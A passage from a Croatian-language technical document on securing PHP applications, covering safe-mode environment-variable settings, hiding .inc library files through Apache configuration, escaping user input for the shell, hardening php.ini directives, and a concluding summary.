Da bi se onemogućilo mijenjanje varijabli okoline, u sigurnom načinu rada postoji i konfiguracijska postavka koja ograničava korisnikovo modificiranje. U polju `safe_mode_allowed_env_vars` nalazi se lista prefiksa koji identificiraju varijable koje je korisnik ovlašten mijenjati. Ukoliko varijabla ne započinje sa nečim što je navedeno u ovom polju, ona ne može biti izmijenjena kroz PHP skriptu.
Postoji i polje u kojem se nalaze varijable okružja koje su u potpunosti zaštićene. Radi se o polju `safe_mode_protected_env_vars`. Za povećanu sigurnost najbolje je komplementarno koristiti obje postavke.
Ostale restrikcije koje se mogu pronaći u sigurnom načinu rada su i mogućnost restrikcije poziva funkcije, zabrana pristupa pojedinim datotekama, ovisno o vlasništvu skripte, i željene datoteke te potpuna zabrana *uploada* datoteka.
Zbog svih opcija koje nudi, siguran način rada je preporučljiv, međutim programiranje može postati prilično komplicirano, jer se zabranjuju mnoge stvari na koje su se korisnici PHP jezika navikli. Iako predstavlja dobar koncept, siguran način rada nije bez propusta. Iz tog razloga nije preporučljivo potpuno oslanjanje na siguran način rada, već bi on trebao služiti kao dobra potpora već sigurnom kodu.

4.2. Rad s pridruženim datotekama

Web poslužitelj prepoznaje PHP datoteke kroz njihovu .php ekstenziju. Prilikom zahtjeva za takvom datotekom, poslužitelj prepušta obradu PHP interpreteru te tek onda prikazuje sadržaj. Mnogi korisnici PHP-a datoteke koje služe kao datoteke biblioteka nazivaju uz .inc ekstenziju. Problem koji se ovdje pojavio bio je onemogućavanje procesiranja tih datoteka prije prikazivanja. Prvo rješenje koje je predstavljeno je postavljanje svih ekstenzija na ".php". Međutim, kako je već pokazano u poglavlju 3.5, to može biti još jedan izvor potencijalnog napada. Drugo rješenje, bilo bi da se zabrani prikaz svih datoteka sa ".inc" ekstenzijom. Na Apache poslužitelju to se postiže sljedećim promjenama u `httpd.conf` datoteci:

```
<Files ~ "\.inc$">
        Order allow, deny
        Deny from all
</Files>
```

Najsigurniji postupak bio bi da se ".inc" datoteke pohranjuju u poseban direktorij, koji bi onda bio postavljen kao vrijednost `include_path` varijable u `php.ini` datoteci. Na ovaj način, Web poslužitelj ne bi bio u mogućnosti uopće vidjeti ove datoteke. One bi bile dostupne samo PHP skriptama.

4.3. Filtriranje korisničkog unosa

Većina navedenih napada ima izravne veze sa informacijama koje korisnici prosljeđuju PHP skriptama. Vrlo često se radi o znakovima koji imaju specijalno značenje bilo bazi podataka, naredbenoj ljusci ili bilo kojem vanjskom programu. Iz tog razloga potrebno je provoditi filtriranje korisničkog unosa. Radi se o postupku izbacivanja svih takvih specijalnih znakova iz podataka koji dolaze u skriptu. Ovaj postupak je prilično efikasan način odstranjivanja neželjenog ponašanja zbog korisničke interakcije sa aplikacijom.

Za potrebe filtriranje PHP pruža dvije funkcije:

- `EscapeShellCmd()` – izbacuje sve znakove u nizu koji bi mogli navesti naredbenu ljusku da izvede proizvoljne naredbe.
- `EscapeShellArg()` – dodaje jednostruke navodnike oko niza i izbacuje sve postojeće jednostruke navodnike, što omogućava predavanje niza naredbenoj ljusci kao jednog sigurnog argumenta

Ove funkcije mogu imati svojih propusta iz razloga što različite naredbene ljuske na različitim sustavima imaju drukčije shvaćanje specijalnih znakova. Opsežna lista specijalnih znakova će biti ili nepotpuna ili previše restriktivna.

Najčešće, način koji omogućava najveću zaštitu je upravo konstruiranje vlastitih izraza za filtriranje ulaza u skriptu. Gotovo uvijek je poznato što se očekuje kao ulaz. To se može iskoristiti za provjeru onoga što korisnik unosi. Na primjer, ako je poznato da je potrebno unijeti broj, vrlo je lako onemogućiti unošenje ostalih znakova.

4.4. Ostale konfiguracijske postavke

Osim dvije opcije koje izravno kontroliraju sigurni način rada, `safe_mode` i `safe_mode_exec_dir`, postoji još jedna konfiguracijska opcija koja se odnosi na ovaj način rada. To je postavka `doc_root`, koja onemogućuje PHP u obrađivanju datoteka koje su izvan ovog direktorija, za vrijeme sigurnog načina rada.

`Open_basedir` direktiva specificira korijenski direktorij izvan kojeg skriptama nije dozvoljeno otvaranje datoteka. Inicijalno je ova postavka prazna, što znači da PHP može otvarati datoteke smještene u bilo kojem direktoriju.

Ukoliko je PHP instaliran kao Apache modul, direktiva `enable_dl` daje uputstvo PHP interpreteru da li da omogući dinamičko čitanje PHP modula pomoću `dl()` funkcije. Dinamičko čitanje je inicijalno omogućeno, međutim, za vrijeme sigurnog načina rada PHP ne dozvoljava upotrebu `dl()` funkcije.

Direktiva `disable_functions` određuje sve funkcije koje će PHP ignorirati. Stavljanje `dl()` funkcije u ovu listu je još jedan način onemogućavanja dinamičkog učitavanja. Preporučljivo je u ovu listu postaviti i funkciju `php_info()`, jer ona otkriva previše informacija o skripti i samom poslužitelju na kojem se nalazi. Dobro je načelo onemogućiti one funkcije koje potencijalno mogu nanijeti neku vrstu štete, a istovremeno njihova funkcionalnost nije neophodna.

Konfiguracijska direktiva `register_globals` kontrolira dostupnost svih varijabli: varijabli poslužitelja, kolačića, varijabli okoline, GET i POST varijabli. Do inačice 4, ova direktiva je inicijalno bila uključena, međutim od te verzije na dalje PHP ima direktivu `register_globals` isključenu. O mogućim slabostima kada su sve varijable globalno dostupne se raspravljalo u poglavlju 2.1.

Direktiva `display_errors` odlučuje da li će se PHP greške ispisivati na Web stranici. Isključivanje ove direktive može efektivno ograničiti napadača da istraži funkcionalnost skripte koju napadaju. U isto vrijeme ispravljanje pogrešaka postaje puno teže za programere.

Da bi se onemogućila funkcionalnost udaljenih datoteka, potrebno je isključiti direktivu `allow_url_fopen`. Rijetke aplikacije koriste ovu mogućnost te je stoga preporučljivo njeno isključivanje.

5. Zaključak

Pri inicijalnim konfiguracijskim postavkama vrlo je teško napisati sigurnu PHP aplikaciju. PHP jezik omogućava vrlo lako programiranje sa velikim brojem ugrađenih funkcionalnosti. Upravo zbog svoje

privlačnosti i jednostavnosti, mnogi Web dizajneri i ostali korisnici, koji nemaju iskustva sa programiranjem, koriste PHP jezik. To su korisnici koji nemaju puno iskustva sa sigurnosnim problemima s kojima se aplikacije mogu susresti.
U kombinaciji sa činjenicom da zbog bogatstva jezika kod postaje nepredvidljiv, dolazi do situacije koja pogoduje malicioznim korisnicima. Taj problem postaje dodatno naglašen kada se uzme u obzir da se PHP aplikacije pokreću u vrlo izloženim okruženjima, odnosno javno dostupnim Web poslužiteljima.
Dio odgovornosti snosi i sam jezik, jer je naglasak njegovog razvoja bio na bogatstvu opcija i brzom razvijanju aplikacija. S obzirom na veliki broj mogućih napada na PHP aplikacije, sa svakom inačicom PHP interpreter i sam jezik postaju sve sigurniji i pružaju sve više mogućnosti za zaštitu od ovih napada.
Prilikom uključivanja mnogih ponuđenih sigurnosnih opcija, smanjuje se i sama učinkovitost aplikacije. Za istodobno sigurnu i funkcionalnu aplikaciju, koju nije teško razviti, potrebno je pronaći kompromis koji će zadovoljiti sve strane.
U ovom dokumentu dan je pregled mogućih ranjivosti PHP aplikacija, koje su uglavnom potkrijepljene primjerima. Preporučeni su i načini njihove zaštite, kako kroz konfiguracijske postavke tako i kroz upućivanje u sigurnije načine programiranja. Prikazani su i neki specifični problemi vezani uz način izvođenja PHP interpretera.